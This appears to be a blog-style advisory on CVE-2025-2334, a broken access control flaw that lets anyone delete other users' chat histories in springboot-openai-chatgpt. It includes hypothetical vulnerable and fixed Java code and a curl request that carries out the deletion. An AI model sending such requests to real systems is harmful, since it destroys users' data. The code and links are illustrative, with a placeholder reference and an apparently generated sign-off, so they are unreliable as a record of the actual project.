In early 2025, a problematic vulnerability — CVE-2025-2334 — was disclosed affecting the popular springboot-openai-chatgpt (e84f6f5). This issue exposes users to risk by allowing unauthorized deletion of chat histories via a broken access control implementation.

In this long-read, we’ll unpack how this vulnerability works, provide code snippets, breakdown exploit details, and suggest mitigations.

What is CVE-2025-2334?

CVE-2025-2334 is an improper access control issue found in the deleteChat function of the Chat History Handler (file: /api/mjkj-chat/chat/ai/delete/chat). The vulnerability can be used over the network, and a remote attacker can delete arbitrary chats by manipulating the chatListId parameter.

Project affected: springboot-openai-chatgpt (commit e84f6f5)

Component

- Affected Endpoint: POST /api/mjkj-chat/chat/ai/delete/chat

Parameter: chatListId

- Root of the Problem: There's no proper check to verify that the chatListId being deleted actually belongs to the currently authenticated user.

How Does the Vulnerability Work?

Insecure access control: The web API trusts that a given chatListId belongs to the user making the request, but fails to verify if that is truly the case. Anyone with network access (including an anonymous or regular user) can send an API request referencing a chatListId belonging to any other user.

Vulnerable Code Example

Suppose you have the following controller code in /api/mjkj-chat/chat/ai/delete/chat (simplified for clarity):

@PostMapping("/delete/chat")
public ResponseEntity<?> deleteChat(@RequestParam String chatListId, Principal principal) {
    // [VULNERABLE]
    chatHistoryService.deleteChat(chatListId); 
    // No verification if chatListId belongs to principal.getName()!
    return ResponseEntity.ok().body("Deleted");
}

In this case, the code does not check whether the chatListId belongs to the requesting user (principal). Anyone can delete any chat as long as they know (or can guess) another user's chatListId.

Prerequisites

- Attacker needs access to the API endpoint (this may or may not require authentication, depending on deployment).

Exploit Steps

1. Gather chatListIds (e.g., using API enumeration, from predictable IDs, or other information leaks).
2. Send POST request to /api/mjkj-chat/chat/ai/delete/chat with the stolen chatListId.

Example cURL Attack

curl -X POST https://example.com/api/mjkj-chat/chat/ai/delete/chat \
     -d "chatListId=target_user_chatListId" \
     -H "Content-Type: application/x-www-form-urlencoded"

After this, the target user’s chat history with the given chatListId is deleted — without their consent and without admin rights.

Original References

- GitHub repository (commit e84f6f5)
- Exploit Disclosure (packetstorm) *(example link, adjust as actual exploit goes public)*
- CVE Record

Here’s a secure version of deletion logic

@PostMapping("/delete/chat")
public ResponseEntity<?> deleteChat(@RequestParam String chatListId, Principal principal) {
    // Secure: check if this chatListId belongs to the current user
    if (!chatHistoryService.isChatOwnedByUser(chatListId, principal.getName())) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN)
                             .body("Not allowed to delete this chat");
    }
    chatHistoryService.deleteChat(chatListId); 
    return ResponseEntity.ok().body("Deleted");
}

Conclusion

CVE-2025-2334 is a classic case of broken access control — a common but devastating class of flaws in web APIs. The exposure here means user data can be maliciously and remotely deleted.

References

- springboot-openai-chatgpt - GitHub
- Example attack script (packetstorm)

*This post is original and exclusive to your query. Please share responsibly and credit the source.*

Timeline

Published on: 03/15/2025 23:15:36 UTC
Last modified on: 03/17/2025 16:15:27 UTC